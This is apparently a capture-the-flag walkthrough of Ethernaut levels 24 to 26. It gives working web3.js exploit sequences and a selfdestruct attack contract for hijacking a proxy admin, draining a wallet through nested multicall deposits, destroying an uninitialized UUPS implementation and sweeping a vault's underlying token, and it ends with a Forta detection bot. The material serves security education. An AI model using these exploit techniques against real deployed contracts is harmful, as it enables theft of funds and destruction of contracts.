Useful links: Using Remix to Deploy to Moonbeam

Level 24. Puzzle Wallet

Goal: player has to hijack the proxy contract, PuzzleProxy by becoming admin.

The vulnerability here arises due to storage collision between the proxy contract (PuzzleProxy) and logic contract (PuzzleWallet). And storage collision is a nightmare when using delegatecall.

Note that in proxy pattern any call/transaction sent does not directly go to the logic contract (PuzzleWallet here), but it is actually delegated to logic contract inside proxy contract (PuzzleProxy here) through delegatecall method.

Since, delegatecall is context preserving, the context is taken from PuzzleProxy. Meaning, any state read or write in storage would happen in PuzzleProxy at a corresponding slot, instead of PuzzleWallet.

Compare the storage variables at slots:

slot | PuzzleWallet  -  PuzzleProxy
----------------------------------
0 | owner <- pendingAdmin
1 | maxBalance <- admin
2 | ...
3 | ...

Accordingly, any write to pendingAdmin in PuzzleProxy would be reflected by owner in PuzzleWallet because they are at same storage slot, 0.

And that means if we set pendingAdmin to player in PuzzleProxy (through proposeNewAdmin method), player is automatically owner in PuzzleWallet. Although contract instance provided web3js API, it doesn't expose the proposeNewAdmin method, we can alway encode signature of function call and send transaction to the contract:

functionSignature = {
name: 'proposeNewAdmin',
type: 'function',
inputs: [
{
type: 'address',
name: '_newAdmin',
},
],
}

params = [player]

data = web3.eth.abi.encodeFunctionCall(functionSignature, params)

await web3.eth.sendTransaction({ from: player, to: instance, data })

player is now owner. Verify by:

;(await contract.owner()) === player

Now, since we're owner let's whitelist us, player:

await contract.addToWhitelist(player)

Okay, so now player can call onlyWhitelisted guarded methods.

Also, note from the storage slot table above that admin and maxBalance also correspond to same slot (slot 1). We can write to admin if in some way we can write to maxBalance the address of player.

Two methods alter maxBalance - init and setMaxBalance. init shows no hope as it requires current maxBalance value to be zero. So, let's focus on setMaxBalance.

setMaxBalance can only set new maxBalance only if the contract's balance is 0. Check balance:

await getBalance(contract.address)

It's non-zero. Can we somehow take out the contract's balance? Only method that does so, is execute, but contract tracks each user's balance through balances such that you can only withdraw what you deposited. We need some way to crack the contract's accounting mechanism so that we can withdraw more than deposited and hence drain contract's balance.

A possible way is to somehow call deposit with same msg.value multiple times within the same transaction. The developers of this contract did write logic to batch multiple transactions into one transaction to save gas costs. And this is what multicall method is for.

multicall actually extracts function selector (which is first 4 bytes from signature) from the data and makes sure that deposit is called only once per transaction...

assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}

We need another way. We can only call deposit only once in a multicall but what if call a multicall that calls multiple multicalls and each of these multicalls call deposit once. That'd be totally valid since each of these multiple multicalls will check their own separate depositCalled bools.

The contract balance currently is 0.001 eth. If we're able to call deposit two times through two multicalls in same transaction. The balances[player] would be registered from 0 eth to 0.002 eth, but in reality only 0.001 eth will be actually sent. Hence total balance of contract is in reality 0.002 eth but accounting in balances would think it's 0.003 eth. Anyway, player is now eligible to take out 0.002 eth from contract and drain it as a result.

Here's our call inception

            multicall
|
------------------
| |
multicall multicall
| |
deposit deposit

Get function call encodings:

// deposit() method
depositData = await contract.methods['deposit()'].request().then(v => v.data)

// multicall() method with param of deposit function call signature
multicallData = await contract.methods['multicall(bytes[])']
.request([depositData])
.then(v => v.data)

Now we call multicall which will call two multicalls and each of these two will call deposit once each. Send value of 0.001 eth with transaction:

await contract.multicall([multicallData, multicallData], {
value: toWei('0.001'),
})

player balance now must be 0.001 eth * 2 i.e. 0.002 eth. Which is equal to contract's total balance at this time.

Withdraw same amount by execute:

await contract.execute(player, toWei('0.002'), 0x0)

By now, contract's balance must be zero. Verify:

await getBalance(contract.address)

Finally we can call setMaxBalance to set maxBalance and as a consequence of storage collision, set admin to player:

await contract.setMaxBalance(player)

Level 25. Motorbike

Goal: player has to make the proxy (Motorbike) unusable by destroying the implementation/logic contract (Engine) through selfdestruct.

Useful links:

Given Contract:

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

As you can see current Engine implementation has no selfdestruct logic anywhere. So, we can't call selfdestruct with current implementation anyway. But, since it is a logic/implementation contract of proxy pattern, it can be upgraded to a new contract that has the selfdestruct in it.

upgradeToAndCall method is at our disposal for upgrading to a new contract address, but it has an authorization check such that only the upgrader address can call it. So, player has to somehow take over as upgrader.

The key thing to keep in mind here is that any storage variables defined in the logic contract i.e. Engine is actually stored in the proxy's (Motorbike's) storage and not actually Engine. Proxy is the storage layer here which delegates only the logic to logic/implementation contract (logic layer).

The UUPS standardizes the location of the Logic Contract. Per the EIP-1967 whitepaper:

Logic contract address [is located in slot]

0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc (obtained as bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)).

What if we did try to write and read in the context of Engine directly, instead of going through proxy? We'll need address of Engine first. This address is at storage slot \_IMPLEMENTATION_SLOT of Motorbike. Let's read it:

implAddr = await web3.eth.getStorageAt(
contract.address,
'0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc',
)

This yields a 32 byte value (each slot is 32 byte). Remove padding of 0s to get 20 byte address:

implAddr = '0x' + implAddr.slice(-40)

Now, if we sent a transaction directly to initialize of Engine rather than going through proxy, the code will run in Engine's context rather than proxy's. That means the storage variables - initialized, initializing (inherited from Initializable), upgrader etc. will be read from Engine's storage slots. And these variables will most likely will contain their default values - false, false, 0x0 respectively because Engine was supposed to be only the logic layer, not storage. And since initialized will be equal to false (default for bool) in context of Engine the initializer modifier on initialize method will pass!

Call the initialize at Engine's address i.e. at implAddr:

initializeData = web3.eth.abi.encodeFunctionSignature('initialize()')

await web3.eth.sendTransaction({
from: player,
to: implAddr,
data: initializeData,
})

Alright, invoking initialize method must've now set player as upgrader. Verify by:

upgraderData = web3.eth.abi.encodeFunctionSignature('upgrader()')
;(await web3.eth
.call({ from: player, to: implAddr, data: upgraderData })
.then(v => '0x' + v.slice(-40).toLowerCase())) === player.toLowerCase()

So, player is now eligible to upgrade the implementation contract now through upgradeToAndCall method. Let's create the following malicious contract - HackEngine in Remix: (read more about address(0))

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract HackEngine {
function explode() public {
selfdestruct(payable(address(0)));
}
}

If we set the new implementation through upgradeToAndCall, passing HackEngine address and encoding of it's explode method as params, the existing Engine would destroy itself. This is because _upgradeToAndCall delegates a call to the given new implementation address with provided data param. And since delegatecall is context preserving, the selfdestruct of explode method would run in context of Engine. Thus Engine is destroyed.

Upgrade Engine to HackEngine. First set up function data of upgradeToAndCall to call at implAddress:

bombAddr = '<BombEngine-instance-address>'
explodeData = web3.eth.abi.encodeFunctionSignature('explode()')

upgradeSignature = {
name: 'upgradeToAndCall',
type: 'function',
inputs: [
{
type: 'address',
name: 'newImplementation',
},
{
type: 'bytes',
name: 'data',
},
],
}

upgradeParams = [bombAddr, explodeData]

upgradeData = web3.eth.abi.encodeFunctionCall(upgradeSignature, upgradeParams)

Now call upgradeToAndCall at implAddr:

await web3.eth.sendTransaction({
from: player,
to: implAddr,
data: upgradeData,
})

The Engine is destroyed. The Motorbike is now useless. Motorbike cannot even be repaired now because all the upgrade logic was in the logic contract which is now destroyed.

The advantage of following an UUPS pattern is to have very minimal proxy to be deployed. The proxy acts as storage layer so any state modification in the implementation contract normally doesn't produce side effects to systems using it, since only the logic is used through delegatecalls.

  • To implement an upgradeable smart contract, the logic layer (i.e., the implementation contract) is separated from the storage layer (i.e., the proxy contract) and all calls to the proxy contract are delegated to the logic contract.

This doesn't mean that you shouldn't watch out for vulnerabilities that can be exploited if we leave an implementation contract uninitialized.

This was a slightly simplified version of what has really been discovered after months of the release of UUPS pattern.

Takeways: never leaves implementation contracts uninitialized ;)

If you're interested in what happened, read more here.

Level 26. Double Entry Point

Goal: player has to find the bug in the CryptoVault and create a Forta bot to protect it from being drained.

This level features a CryptoVault with special functionality, the sweepToken function. This is a common function to retrieve tokens stuck in a contract. The CryptoVault operates with an underlying token that can't be swept, being it an important core's logic component of the CryptoVault, any other token can be swept.

The underlying token is an instance of the DET (Double EntryPoint Token) token implemented in DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.

In this level you should figure out where the bug is in CryptoVault and protect it from being drained out of tokens.

The contract features a Forta contract where any user can register its own detection bot contract. Forta is a decentralized, community-based monitoring network to detect threats and anomalies on DeFi, NFT, governance, bridges and other Web3 systems as quickly as possible. Your job is to implement a detection bot and register it in the Forta contract. The bot's implementation will need to raise correct alerts to prevent potential attacks or bug exploits.

Things that might help:

  • How does a double entry point work for a token contract?

Useful links:

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}

contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;

function setDetectionBot(address detectionBotAddress) external override {
require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}

function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}

function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}

contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;

constructor(address recipient) public {
sweptTokensRecipient = recipient;
}

function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}

/*
...
*/

function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;

function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}

function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}

function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;

constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}

modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}

modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));

// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);

// Notify Forta
forta.notify(player, msg.data);

// Continue execution
_;

// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}

function delegateTransfer( <==
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}

First, let's figure out the exploit that allows to drain the underlying (DET) tokens. If you see the sweepToken() method it can be seen that it restricts sweeping the underlying tokens with a require check - as expected. But take a look at LegacyToken's transfer() method:

if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}

Looks like it actually calls delegateTransfer() method of some DelegateERC20 contract. But this DelegateERC20 is nothing but the implementation of the underlying (DET) token itself. And delegateTransfer() simply transfers the tokens according to given parameters. The only restriction delegateTransfer() puts is that msg.sender must be the LegacyToken (delegatedFrom address) contract.

So we can indirectly sweep the underlying tokens through transfer() of LegacyToken contract. We simply call sweepToken with address of LegacyToken contract. That in turn would make the LegacyContract to call the DoubleEntryPoint's (DET token) delegateTransfer() method.

vault = await contract.cryptoVault()

// Check initial balance (100 DET)
await contract.balanceOf(vault).then(v => v.toString()) // '100000000000000000000'

legacyToken = await contract.delegatedFrom()

// sweepTokens(..) function call data
sweepSig = web3.eth.abi.encodeFunctionCall(
{
name: 'sweepToken',
type: 'function',
inputs: [{ name: 'token', type: 'address' }],
},
[legacyToken],
)

// Send exploit transaction
await web3.eth.sendTransaction({ from: player, to: vault, data: sweepSig })

// Check balance (0 DET)
await contract.balanceOf(vault).then(v => v.toString()) // '0'

And CryptoVault is swept of DET tokens!

This worked because during invocation transfer() of LegacyToken the msg.sender was CryptoVault. And when delegateTransfer() invoked right after, the origSender is the passed in address of CryptoVault contract and msg.sender is LegacyToken so onlyDelegateFrom modifier checks out.

Now to prevent this exploit we have to write a bot which would be a simple contract implementing the IDetectionBot interface. In the bot's handleTransaction(..) we could simply check that the address was not CryptoVault address. If so, raise alert. Hence preventing sweep.

Open up Remix and deploy the bot (on Rinkeby) with contract.cryptoVault() address and copy its address.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IForta {
function raiseAlert(address user) external;
}

contract FortaDetectionBot {
address private cryptoVault;

constructor(address _cryptoVault) {
cryptoVault = _cryptoVault; // vault = await contract.cryptoVault();
}

function handleTransaction(address user, bytes calldata msgData) external {
// Extract the address of original message sender
// which should start at offset 168 (0xa8) of calldata
address origSender;
assembly {
origSender := calldataload(0xa8)
}

if (origSender == cryptoVault) {
IForta(msg.sender).raiseAlert(user);
}
}
}

Note that in the above FortaDetectionBot contract we extract the address of the original transaction sender by calculating its offset according to the ABI encoding specs and Layout of call data.

Understand the encoding rule of function parameters and use this knowledge to get the correct data offset you want to get in calldata.

i.e. Layout of calldata when function handleTransaction(address user, bytes calldata msgData) external; is called.

calldata offsetlengthelementtypeexample value
0x004function signature (handleTransaction)bytes40x220ab6aa
0x0432useraddress0x000000000000000000000000XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx
0x2432offset of msgDatauint2560x0000000000000000000000000000000000000000000000000000000000000040
0x4432length of msgDatauint2560x0000000000000000000000000000000000000000000000000000000000000064
0x644function signature (delegateTransfer)bytes40x9cd1a121
0x6832toaddress0x000000000000000000000000XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx
0x8832valueuint2560x0000000000000000000000000000000000000000000000056bc75e2d63100000
0xA832origSenderaddress0x000000000000000000000000XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx
0xC828paddingbytes0x00000000000000000000000000000000000000000000000000000000

Now set the bot in Forta contract:

botAddr = '0x4587415153748ad20E7Cfc2F447984e6A74b585d'

// Forta contract address
forta = await contract.forta()

// setDetectionBot() function call data
setBotSig = web3.eth.abi.encodeFunctionCall(
{
name: 'setDetectionBot',
type: 'function',
inputs: [{ type: 'address', name: 'detectionBotAddress' }],
},
[botAddr],
)

// Send the transaction setting the bot
await web3.eth.sendTransaction({ from: player, to: forta, data: setBotSig })

Forta comprises a decentralized network of independent node operators who scan all transactions and block-by-block state changes for outlier transactions and threats. When an issue is detected, node operators send alerts to subscribers of potential risks, which enables them to take action.

The presented example is just for educational purpose since Forta bot is not modeled into smart contracts. In Forta, a bot is a code script to detect specific conditions or events, but when an alert is emitted it does not trigger automatic actions - at least not yet. In this level, the bot's alert effectively trigger a revert in the transaction, deviating from the intended Forta's bot design.

Detection bots heavily depends on contract's final implementations and some might be upgradeable and break bot's integrations, but to mitigate that you can even create a specific bot to look for contract upgrades and react to it. Learn how to do it here.

You have also passed through a recent security issue that has been uncovered during OpenZeppelin's latest collaboration with Compound protocol.

Having tokens that present a double entry point is a non-trivial pattern that might affect many protocols. This is because it is commonly assumed to have one contract per token. But it was not the case this time :) You can read the entire details of what happened here.

Misc.

Credits